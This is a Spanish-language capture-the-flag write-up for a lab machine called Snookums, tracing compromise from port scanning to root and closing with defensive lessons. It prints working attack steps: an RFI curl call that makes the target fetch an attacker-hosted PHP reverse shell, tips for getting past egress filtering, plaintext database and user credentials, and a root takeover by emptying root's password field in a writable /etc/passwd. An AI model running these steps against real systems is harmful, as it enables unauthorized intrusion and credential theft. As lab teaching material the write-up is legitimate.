Snookums
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Snookums expone una galería de fotos en PHP, Simple PHP Photo Gallery v0.8, vulnerable a una inclusión remota de ficheros (RFI) que termina en ejecución de comandos. Servimos una shell PHP desde nuestra máquina, la incluimos porimage.php?img=y obtenemos shell comoapache, con el matiz de que el filtrado de salida solo deja conectar a puertos que la máquina ya tiene abiertos. Desde ahí leemosdb.php, entramos a MySQL comorooty sacamos de la tablausersuna contraseña doblemente codificada en Base64 que pertenece amichael. Reutilizamos esa credencial para movernos amichaely leerlocal.txt. La escalada es directa:/etc/passwdes escribible pormichael, así que dejamos al usuariorootsin contraseña y unsu rootnos da la caja.
Reconocimiento
Escaneo inicial
Un ping de cortesía sitúa el sistema operativo antes de tocar nada. TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.172.5864 bytes from 192.168.172.58: icmp_seq=1 ttl=61 time=29.6 msBarremos los 65535 puertos TCP y luego lanzamos detección de versión solo sobre los abiertos:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.172.58PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open netbios-ssn
3306/tcp open mysql
33060/tcp open mysqlxnmap -p21,22,80,111,139,445,3306,33060 -sCV 192.168.172.58 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Simple PHP Photo Gallery
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp open netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp open mysql MySQL (unauthorized)
33060/tcp open mysqlx MySQL X protocol listener
Service Info: Host: SNOOKUMS; OS: UnixHay bastante superficie: FTP con login anónimo, un Apache antiguo (CentOS, PHP 5.4.16) sirviendo una galería de fotos, Samba y un MySQL expuesto al exterior. El FTP anónimo (login anónimo) acepta la sesión pero no llega a listar el directorio (el control devuelve TIMEOUT), así que de momento no aporta. El MySQL del 3306 está accesible en red pero pide credenciales que aún no tenemos. La galería de fotos del 80 es, con diferencia, lo más prometedor.
SMB - TCP 445
Antes de centrarnos en la web, una pasada de enum4linux con sesión nula nos regala un nombre de usuario del sistema, que conviene guardar para después (enumeración SMB con invitado):
enum4linux 192.168.172.58[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\michael (Local User)El SID S-1-22-1 es el rango que Samba usa para mapear usuarios locales de Unix, así que michael es una cuenta real del sistema. Todavía no tenemos su contraseña, pero ya sabemos a qué usuario apuntar.
HTTP - TCP 80
La web es una galería de imágenes que se identifica al pie como Simple PHP Photo Gallery v0.8.

Esa cadena es suficiente para buscar vulnerabilidades conocidas. Simple PHP Photo Gallery arrastra una inclusión remota de ficheros sin autenticar en el parámetro img de image.php: la aplicación pasa lo que reciba directamente a include(), sin validar que sea un fichero local. Hay un exploit público que automatiza el salto de RFI a RCE.

Shell como apache
RFI a RCE
La idea de la RFI es sencilla: si include() acepta una URL, alojamos nosotros una shell PHP y le pasamos su dirección. El exploit SimplePHPGal-RCE.py hace justo eso: levanta un servidor HTTP con la shell, dispara la inclusión y nos pide tener un nc a la escucha.
python3 SimplePHPGal-RCE.py http://192.168.172.58/ 192.168.45.239 4444
[✓] Serving HTTP traffic from .../exploits on 192.168.45.239 using port 80 in background
Run 'nc -nlvp 4444' on attacker machine in another terminal. Then press any key to continue
192.168.172.58 - - [30/Dec/2025 19:40:09] "GET /rev.php HTTP/1.0" 200 -
Request sent. Check your nc for a connectionEl objetivo pide rev.php (200), pero la conexión de vuelta al 4444 no llega: el egreso por ese puerto está filtrado.
El servidor registra el GET /rev.php desde el objetivo (la inclusión se produce), pero el nc en el 4444 nunca recibe la conexión. La pista está en el propio escaneo: la máquina filtra la salida y solo deja salir tráfico hacia puertos que ella misma tiene abiertos. Repetimos apuntando a un puerto permitido, como el 21:
python3 SimplePHPGal-RCE.py http://192.168.172.58/ 192.168.45.239 21
(Penelope)> listeners add -p 21
[+] Listening for reverse shells on 0.0.0.0:21
[+] Got reverse shell from snookums~192.168.172.58-Linux-x86_64 Assigned SessionID <1>
bash-4.2$ whoami
apacheCon el 21 como puerto de retorno (permitido de salida), la reverse shell sí llega.
Esa restricción de egreso es la que explica por qué el primer intento en el 4444 quedó colgado: la inclusión funcionaba desde el principio, lo que fallaba era el camino de vuelta.
Explotación manual
Conviene entender el exploit por dentro, porque hacerlo a mano cuesta lo mismo y deja claro el porqué. Preparamos una shell inversa de PHP (la de pentestmonkey vale) apuntando a nuestra IP y a un puerto abierto en el objetivo:
# rev.php (extracto)
$ip = '192.168.45.239';
$port = 21;Con nc a la escucha en el puerto permitido 21:
nc -nlvp 21La servimos por HTTP y forzamos la inclusión con un simple curl:
python3 -m http.server 80
curl "http://192.168.172.58/image.php?img=http://192.168.45.239/rev.php"
192.168.172.58 - - [30/Dec/2025 19:45:27] "GET /rev.php HTTP/1.0" 200 -
...
bash-4.2$ whoami
apache
bash-4.2$ ip a
inet 192.168.172.58/24 brd 192.168.172.255 scope global ens192El receptor entra como apache, el usuario con el que corre el servidor web. Tenemos punto de apoyo, pero no es ni michael ni root.
Acceso como michael
Credenciales en db.php
Una galería con base de datos guarda en algún sitio las credenciales de conexión. El fichero de configuración está en la raíz web (credenciales en el código fuente):
cat /var/www/html/db.phpdefine('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'MalapropDoffUtilize1337');
define('DBNAME', 'SimplePHPGal');MySQL: contraseñas doblemente codificadas
Con esas credenciales entramos al MySQL local (la versión real es 8.0.20) y buscamos la tabla de usuarios:
mysql -u root -p # MalapropDoffUtilize1337
use SimplePHPGal;
select * from users;
+----------+--------------------------------------------------+
| username | password |
+----------+--------------------------------------------------+
| josh | VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldZdVM05EYz0= |
| michael | U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ== |
| serena | VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ== |
+----------+--------------------------------------------------+Esas cadenas no son hashes: terminan en = y solo usan el alfabeto Base64. De hecho, al decodificarlas una vez sale otra cadena Base64, así que están codificadas dos veces. Nos quedamos con la de michael, el usuario que ya habíamos visto por SMB:
echo -n 'U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==' | base64 -d | base64 -dHockSydneyCertify123Codificar no es cifrar: Base64 es reversible sin secreto, así que guardar contraseñas así equivale a tenerlas en claro con un disfraz. Reutilizamos HockSydneyCertify123 (reutilización de credenciales) para pasar de apache a michael.

Ya como michael leemos la primera prueba:
cat local.txt
d9c8586fa18658713cdff7018fa8f1b6Escalada de privilegios
/etc/passwd escribible
Una pasada de linpeas (repo) señala el problema de golpe: el fichero /etc/passwd es escribible.
./linpeas.sh═╣ Writable passwd file? ................ /etc/passwd is writableLo confirmamos a mano. El propietario del fichero es el propio michael, con permiso de escritura:
ls -l /etc/passwd-rw-r--r--. 1 michael root 1161 Dec 30 12:49 /etc/passwdAquí entra la mecánica de /etc/passwd escribible. En la entrada de root, la x del segundo campo significa "la contraseña vive en /etc/shadow". Si la borramos, ese campo queda vacío y el sistema interpreta que root no tiene contraseña. Editamos la línea para dejarla así:
vi /etc/passwd
# root:x:0:0:root:/root:/bin/bash -> root::0:0:root:/root:/bin/bashroot::0:0:root:/root:/bin/bashAhora su root no pide contraseña y entrega la shell:
su root
[michael@snookums tmp]$ ls -l /etc/passwd
-rw-r--r--. 1 michael root 1161 Dec 30 12:49 /etc/passwd
[michael@snookums tmp]$ cat /etc/passwd | head -n 1
root::0:0:root:/root:/bin/bash
[michael@snookums tmp]$ su root
[root@snookums tmp]# whoami
rootcat /root/proof.txt
3cdacea11e685e480e1bb1da485e6796Cadena de ataque
Simple PHP Photo Gallery v0.8 (HTTP 80)
│ image.php?img= acepta una URL -> include() remoto (RFI)
▼
shell como apache (retorno solo por puertos abiertos: 21/80)
│ cat /var/www/html/db.php -> root:MalapropDoffUtilize1337
▼
MySQL -> tabla users -> Base64 doble -> michael:HockSydneyCertify123
│ reutilizacion de credenciales
▼
shell como michael (local.txt)
│ /etc/passwd escribible -> vaciar el campo de password de root
▼
su root -> root (proof.txt)Lecciones aprendidas
- Una RFI es un
include()con URL. Cuando una aplicación PHP mete entrada del usuario directamente en uninclude/require, alojar la shell propia y pasarle la URL es suficiente para ejecutar código. La defensa es desactivarallow_url_includey nunca incluir rutas derivadas de la entrada. - El filtrado de salida cambia la táctica, no el resultado. Que el 4444 no devolviera conexión no significaba que el exploit fallara: la inclusión funcionaba y lo que faltaba era un puerto de retorno permitido. Probar puertos que la máquina ya tiene abiertos (21, 80) suele saltar ese control.
- Base64 no protege nada. Codificar una contraseña, incluso dos veces, no añade seguridad: es reversible sin ningún secreto. En una base de datos las contraseñas deben ir con un hash lento y con sal, no codificadas.
/etc/passwdescribible es root inmediato. Si un usuario sin privilegios puede escribir ese fichero, vaciar el campo de contraseña deroot(o añadir un usuario UID 0) entrega la máquina. Los permisos de/etc/passwddeben serroot:root 644, nunca propiedad de una cuenta de servicio o de usuario.